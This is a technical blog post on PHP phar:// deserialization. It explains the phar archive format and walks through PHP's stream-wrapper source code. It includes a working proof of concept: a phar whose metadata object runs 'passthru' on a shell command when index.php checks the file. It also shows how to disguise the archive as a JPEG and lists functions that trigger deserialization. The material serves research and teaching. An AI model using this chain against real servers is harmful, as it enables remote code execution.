unserialize without unserialize()

Table of contents

The research community has been interested in deserialization vulnerabilities for more a decade now. Since Stefan Essar originally detailed the possibility of unserializing data controlled by attackers in PHP in 2009, the topic has gained widespread awareness. Thus, new attack chains emerge each year, utilising these flaws in programming languages such as Java and C#.

At Blackhat US-18, Sam Thomas introduced a new way to exploit these vulnerability in PHP.

Previouly, php:// wrapper has been used for LFI and XXE attack either by directly access the input stream such as php://input or manipulate the value like php://filter/convert.base64-encode/resource=config.php. Based on Sam Thomas paper, we can abuse phar:// stream wrapper when performing read/write/delete/rename operation on PHAR files to invoke deserialization. From here, it opens the door to POP (Property Oriented Programming) attacks, in which the attacker alters object properties to control the application’s logic flow, ultimately resulting in code execution.

In this blog, I assume that you all already know about basic php deserialization vulnerability. If not, Vickie Li and OWASP is a good start. If you want to follow along, you can download php source code prior to installed version on the system. Mine is php v7.4.33, so it will be https://github.com/php/php-src/releases/tag/php-7.4.33.

What is phar archives

Before dive into technical explaination, it is better for us to understand the concept of phar. What is Phar anyway?

So for simple distribution and installation, the phar extension provides capability to compile entire PHP aplications into a single file called a phar (PHP archive). Hence, a phar archive offers a way to deliver a full PHP aplication in a single file and run it directly from that file without the requirements for file extraction. For more in-depth explanation on phar description from php, click this link.

img1

Figure 1: Phar description

A valid phar archive have four sections, the last one is optional:

  • a stub

    A phar’s stub is a simple PHP file. It must contain as a minimum, the HALT_COMPILER(); at the end. For example, <?php echo "this is a stub";__HALT_COMPILER(); ?>. Noted that there cannot be more than one space between semicolon ; and closing tag ?>. For example, __HALT_COMPILER(); ?>.

    Method to set stub is:

      Phar::setStub(stringΒ $stub)
    

    Stub section can be useful to disguise as jpeg/png image file. Since the minimum is __HALT_COMPILER();, anything before it including gibberish character is considered valid. Lets inject image data to the stub.

      ❯ convert -size 32x32 xc:white empty.jpg # create a 32x32 image with a white background as jpeg
      ❯ convert -size 32x32 xc:transparent empty.png # create a 32x32 image with a transparent background as png
      ❯ xxd -p empty.jpg | tr -d '\n' | sed 's/\(..\)/\\x\1/g' # extract jpeg file in hex
      \xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x03\x03\x03\x04\x06\x04\x04\x04\x04\x04\x08\x06\x06\x05\x06\x09\x08\x0a\x0a\x09\x08\x09\x09\x0a\x0c\x0f\x0c\x0a\x0b\x0e\x0b\x09\x09\x0d\x11\x0d\x0e\x0f\x10\x10\x11\x10\x0a\x0c\x12\x13\x12\x10\x13\x0f\x10\x10\x10\xff\xc0\x00\x0b\x08\x00\x20\x00\x20\x01\x01\x11\x00\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x00\x3f\x00\xaa\x60\x00\x00\x00\x3f\xff\xd9
    

    In php:

      $jpeg_header = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x03\x03\x03\x04\x06\x04\x04\x04\x04\x04\x08\x06\x06\x05\x06\x09\x08\x0a\x0a\x09\x08\x09\x09\x0a\x0c\x0f\x0c\x0a\x0b\x0e\x0b\x09\x09\x0d\x11\x0d\x0e\x0f\x10\x10\x11\x10\x0a\x0c\x12\x13\x12\x10\x13\x0f\x10\x10\x10\xff\xc0\x00\x0b\x08\x00\x20\x00\x20\x01\x01\x11\x00\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x00\x3f\x00\xaa\x60\x00\x00\x00\x3f\xff\xd9";
      $poc->setStub($jpeg_header . " __HALT_COMPILER();");
    
  • a manifest describing the contents

    Manifest stores the essential details of what is contained in the phar archives. It consists of fixed length segments, in addition to pairs of length specifications followed by variable length segment. The most important thing is in basic file format of a phar archive manifest is there is a user-defined metadata and it must be in serialize format. This means the entry point for deserializing a phar archive is by manipulating manifest metadata.

    img2

    Figure 2: Phar manifest structure

    Method to set metadata is:

      Phar::setMetadata(mixed $metadata)
    
  • the file contents

    Simply the original files that are included in the archive. To add file from the file system, use Phar::addFile(string $filename). To add file from a string, use Phar::addFromString(string $localName, string $contents) instead.

      Phar::addFile(string $filename); // add file from file system
      Phar::addFromString(string $localName, string $contents); // add file from a string
    
  • a signature for verifying phar integrity (file format only)

    The signature of a phar is always added at the end of the phar archive, following by the loader, manifest, and file contents. The signature is added automatically when creating a phar programmatically.

    Keep in mind that SHA1 is the default signature type for all executable phar archives. Phar’s signature can be set to different algorithm such as Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, Phar::OPENSSL. In order to set different signature algorithm, use this:

      Phar::setSignatureAlgorithm(int $algo, ?string $privateKey = null)
    

How to use phar archive

Here is the example of vulnerable php application. Basically, this application will receive input from the user and check if it exists or not.

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: index.php
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   β”‚ <?php
   2   β”‚ 
   3   β”‚ class VulnerableClass {
   4   β”‚     public $fileName;
   5   β”‚     public $callback;
   6   β”‚ 
   7   β”‚     function __destruct() {
   8   β”‚         call_user_func($this->callback, $this->fileName);
   9   β”‚     }
  10   β”‚ }
  11   β”‚ 
  12   β”‚ $file = $argv[1];
  13   β”‚ 
  14   β”‚ if(file_exists($file)) {
  15   β”‚     echo "File is exists";
  16   β”‚ }

Here is the example of creating phar archive.

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: create.php
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   β”‚ <?php
   2   β”‚ class VulnerableClass { }
   3   β”‚ // Create a new instance of the Dummy class and modify its property
   4   β”‚ $dummy = new VulnerableClass();
   5   β”‚ $dummy->callback = "passthru";
   6   β”‚ $dummy->fileName = "uname -a > pwned"; //our payload
   7   β”‚ 
   8   β”‚ // Delete any existing PHAR archive with that name
   9   β”‚ @unlink("poc.phar");
  10   β”‚ 
  11   β”‚ // Create a new archive
  12   β”‚ $poc = new Phar("poc.phar");
  13   β”‚ 
  14   β”‚ // Add all write operations to a buffer, without modifying the archive on disk
  15   β”‚ $poc->startBuffering();
  16   β”‚ 
  17   β”‚ // Set the stub
  18   β”‚ $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
  19   β”‚ 
  20   β”‚ // Add a new file in the archive with "text" as its content
  21   β”‚ $poc["file1"] = "text";
  22   β”‚ $poc["file2"] = "another Text";
  23   β”‚ // Add the dummy object to the metadata. This will be serialized
  24   β”‚ $poc->setMetadata($dummy);
  25   β”‚ 
  26   β”‚ // Stop buffering and write changes to disk
  27   β”‚ $poc->stopBuffering();
  28   β”‚ ?>

Then generate phar archive like so.

❯ ls
create.php  index.php

❯ php --define phar.readonly=0 create.php       

❯ ls
create.php  index.php  poc.phar

img3

Figure 3: Phar hexdump

Figure 3 shows the hex version of generated phar file from xxd. As you can see on Figure 3, after generating phar archive, some of manifest content is in serialized format, which is what stated in the previous manifest metadata part. Now let run the index.php vulnerable application.

❯ ls
create.php  index.php  poc.phar

❯ php index.php phar://./poc.phar
File is exists

❯ ls
create.php  index.php  poc.phar  pwned

❯ cat pwned    
Linux nightfury99-MS-XXXX x.xX.0-XX-generic #xx~xx.Xx.X-Ubuntu SMP PREEMPT_DYNAMIC XXX Apr 18 17:40:00 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

pwned file was created after passing phar://./poc.phar with phar:// stream wrapper to file_exists() function. We already aware about serialized data on phar manifest, and it will deserialized the metadata whenever phar:// wrapper is used, but how?

How Phar can unserialize?

In Sam Thomas paper, he points out that

meta-data is unserialized when a Phar archive is first accessed by any(!) file operation. This opens the door to unserialization attacks whenever a file operation occurs on a path whose beginning is controlled by an attacker.

Based on php documentation, phar stream wrapper allow accessing files within a phar archieve using PHP’s standard file functions such as fopen(), readfile(). In shorts, any PHP’s function that involves with filesystem functions can use phar stream wrapper. The majority of PHP filesystem functions will deserialize metadata when parsing phar file with phar:// stream wrapper. Seaii from Chuangyu 404 Lab conclude the affected function as follows:

fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

One of the reason why phar metadata can be unserialize is because it called php_var_unserialize(...) at ./ext/phar/phar.c on line 621.

img4

Figure 4: Phar metadata unserialize snippet code

Let investigate why only certain function can be use to invoke deserialization but first, let me introduce to you with stream API.

Stream API

A uniform approach to the processing of files and sockets in PHP extensions is introduced via the PHP Streams API. The Streams API aims to provide developers with an intuitive, uniform API that makes it easy for them to open files, URLs, and other streamable data sources. Streams use a php_stream* parameter just as ANSI stdio (fread etc.) use a FILE* parameter.

In most cases, you will use php_stream_open_wrapper( ) to obtain the stream handle. This function works very much like fopen( ). php_stream_open_wrapper( ) and php_stream_open_wrapper_ex( ) almost the same thing, both call _php_stream_open_wrapper_ex. The only difference is _php_stream_open_wrapper_ex( ) has extra parameter for context as can be seen from the php_streams.h file below.

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: ./main/php_streams.h
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 567   β”‚ ......
 568   β”‚ PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
 569   β”‚ PHPAPI php_stream_wrapper *php_stream_locate_url_wrapper(const char *path, const char **path_for_open, int options);
 570   β”‚ PHPAPI const char *php_stream_locate_eol(php_stream *stream, zend_string *buf);
 571   β”‚ 
 572   β”‚ #define php_stream_open_wrapper(path, mode, options, opened)    _php_stream_open_wrapper_ex((path), (mode), (options), (opened), NULL STREAMS_CC)
 573   β”‚ #define php_stream_open_wrapper_ex(path, mode, options, opened, context)    _php_stream_open_wrapper_ex((path), (mode), (options), (opened), (context) STREAMS_CC)
 574   β”‚ ......

Example how to return stream from a function.

PHP_FUNCTION(example_open_php_home_page)
{
    php_stream *stream;
    
    stream = php_stream_open_wrapper("http://www.php.net", "rb", REPORT_ERRORS, NULL);
    
    php_stream_to_zval(stream, return_value);

    /* after this point, the stream is "owned" by the script.
        If you close it now, you will crash PHP! */
}

The table below shows the Streams equivalents of the more common ANSI stdio functions.

ANSI Stdio Function PHP Streams Function Notes
fopen php_stream_open_wrapper Streams includes additional parameters
fclose php_stream_close Β 
fgets php_stream_gets Β 
fread php_stream_read The nmemb parameter is assumed to have a value of 1, so the prototype looks more like read(2)
fwrite php_stream_write The nmemb parameter is assumed to have a value of 1, so the prototype looks more like write(2)
fseek php_stream_seek Β 
ftell php_stream_tell Β 
rewind php_stream_rewind Β 
feof php_stream_eof Β 
fgetc php_stream_getc Β 
fputc php_stream_putc Β 
fflush php_stream_flush Β 
puts php_stream_puts Same semantics as puts, NOT fputs
fstat php_stream_stat Streams has a richer stat structure

Lets take a php function like file_get_contents( ) and analyze. Imagine file_get_contents( ) is executed like this:

<?php
    $file = file_get_contents("phar://poc.phar");
?>

As shown as below, file_get_contents call php_stream_open_wrapper_ex to open the provided file as a stream.

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: ./ext/standard/file.c
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 525   β”‚ PHP_FUNCTION(file_get_contents)
 526   β”‚ {
 553   β”‚ ......
 554   β”‚     stream = php_stream_open_wrapper_ex(filename, "rb",
 555   β”‚                 (use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
 556   β”‚                 NULL, context);
 557   β”‚     if (!stream) {
 558   β”‚         RETURN_FALSE;
 559   β”‚     }
 560   β”‚ ......

Then _php_stream_open_wrapper_ex call php_stream_locate_url_wrapper to find provided wrapper.

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: ./main/streams/streams.c
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
2078   β”‚ PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
2079   β”‚         zend_string **opened_path, php_stream_context *context STREAMS_DC)
2080   β”‚ {
2081   β”‚ ...... 
2112   β”‚     wrapper = php_stream_locate_url_wrapper(path, &path_to_open, options);
2113   β”‚     if (options & STREAM_USE_URL && (!wrapper || !wrapper->is_url)) {
2114   β”‚         php_error_docref(NULL, E_WARNING, "This function may only be used against URLs");
2115   β”‚         if (resolved_path) {
2116   β”‚             zend_string_release_ex(resolved_path, 0);
2117   β”‚         }
2118   β”‚         return NULL;
2119   β”‚     }
2120   β”‚ 
2121   β”‚     if (wrapper) {
2122   β”‚         if (!wrapper->wops->stream_opener) {
2123   β”‚             php_stream_wrapper_log_error(wrapper, options ^ REPORT_ERRORS,
2124   β”‚                     "wrapper does not support stream open");
2125   β”‚         } else {
2126   β”‚             stream = wrapper->wops->stream_opener(wrapper,
2127   β”‚                 path_to_open, mode, options ^ REPORT_ERRORS,
2128   β”‚                 opened_path, context STREAMS_REL_CC);
2129   β”‚         }

On line 2112, php try to find wrapper from provided path (in this case β€œphar://poc.phar”) using php_stream_locate_url_wrapper. We can use stream_get_wrappers to see which wrappers are registered in the system.

php > var_dump(stream_get_wrappers());
array(11) {
  [0] =>
  string(5) "https"
  [1] =>
  string(4) "ftps"
  [2] =>
  string(13) "compress.zlib"
  [3] =>
  string(3) "php"
  [4] =>
  string(4) "file"
  [5] =>
  string(4) "glob"
  [6] =>
  string(4) "data"
  [7] =>
  string(4) "http"
  [8] =>
  string(3) "ftp"
  [9] =>
  string(4) "phar"
  [10] =>
  string(3) "zip"
}

There are 11 registered wrappers and phar is one of it. So, what functions can be achieved by registering a stream wrapper generally? Below is how stream wrapper defined its components.

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: ./main/php_streams.h
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 132   β”‚ typedef struct _php_stream_wrapper_ops {
 133   β”‚     /* open/create a wrapped stream */
 134   β”‚     php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
 135   β”‚             int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
 136   β”‚     /* close/destroy a wrapped stream */
 137   β”‚     int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream);
 138   β”‚     /* stat a wrapped stream */
 139   β”‚     int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb);
 140   β”‚     /* stat a URL */
 141   β”‚     int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context);
 142   β”‚     /* open a "directory" stream */
 143   β”‚     php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
 144   β”‚             int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
 145   β”‚ 
 146   β”‚     const char *label;
 147   β”‚ 
 148   β”‚     /* delete a file */
 149   β”‚     int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
 150   β”‚ 
 151   β”‚     /* rename a file */
 152   β”‚     int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context);
 153   β”‚ 
 154   β”‚     /* Create/Remove directory */
 155   β”‚     int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context);
 156   β”‚     int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
 157   β”‚     /* Metadata handling */
 158   β”‚     int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context);
 159   β”‚ } php_stream_wrapper_ops;

Since we are using phar stream wrapper, let see how phar register its component.

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       β”‚ File: ./ext/phar/stream.c
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  37   β”‚ const php_stream_wrapper_ops phar_stream_wops = {
  38   β”‚     phar_wrapper_open_url,
  39   β”‚     NULL,                  /* phar_wrapper_close */
  40   β”‚     NULL,                  /* phar_wrapper_stat, */
  41   β”‚     phar_wrapper_stat,     /* stat_url */
  42   β”‚     phar_wrapper_open_dir, /* opendir */
  43   β”‚     "phar",
  44   β”‚     phar_wrapper_unlink,   /* unlink */
  45   β”‚     phar_wrapper_rename,   /* rename */
  46   β”‚     phar_wrapper_mkdir,    /* create directory */
  47   β”‚     phar_wrapper_rmdir,    /* remove directory */
  48   β”‚     NULL
  49   β”‚ };

Based on the struct defined at ./main/php_streams.h and ./ext/phar/stream.c, we found that phar stream wrapper support the following functions:

  • open/create a URL
  • stat URL
  • open directory
  • unlink a file
  • rename a file
  • create directory
  • remove directory

After getting phar stream wrapper via php_stream_locate_url_wrapper method, php then try to access stream_opener method from wrapper object at ./main/streams/streams.c on line 2126. Phar register stream_opener as phar_wrapper_open_url, thus, it will invoke phar_wrapper_open_url() function. The whole chain will eventually call php_var_unserialize. Figure 5 shows example for file_get_contents(), rename(), mkdir(), and unlink() function’s call.

img5

Figure 5: Overview

Hunting other functions

Knowing a few affected function is sufficient, right? Naturally, is is inadequate. To go farther, we must first determine its underlying premise. All of the files are considered to be usable and certain php extension already identified as vulnerable to deserialization such as:

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom***

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file/url

  • get_meta_tags
  • get_headers

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://poc.phar/poc');

Actually there are still many vulnerable functions(such as simplexml, postgres ext) but I leave it to you guys for digging. Now you already know the root cause for β€œphar deserialization” and in terms of stream wrapper exploitation, this is merely a preliminary step(but still a good start).

References

  • https://paper.seebug.org/680/
  • https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability
  • https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
  • https://blog.zsxsoft.com/post/38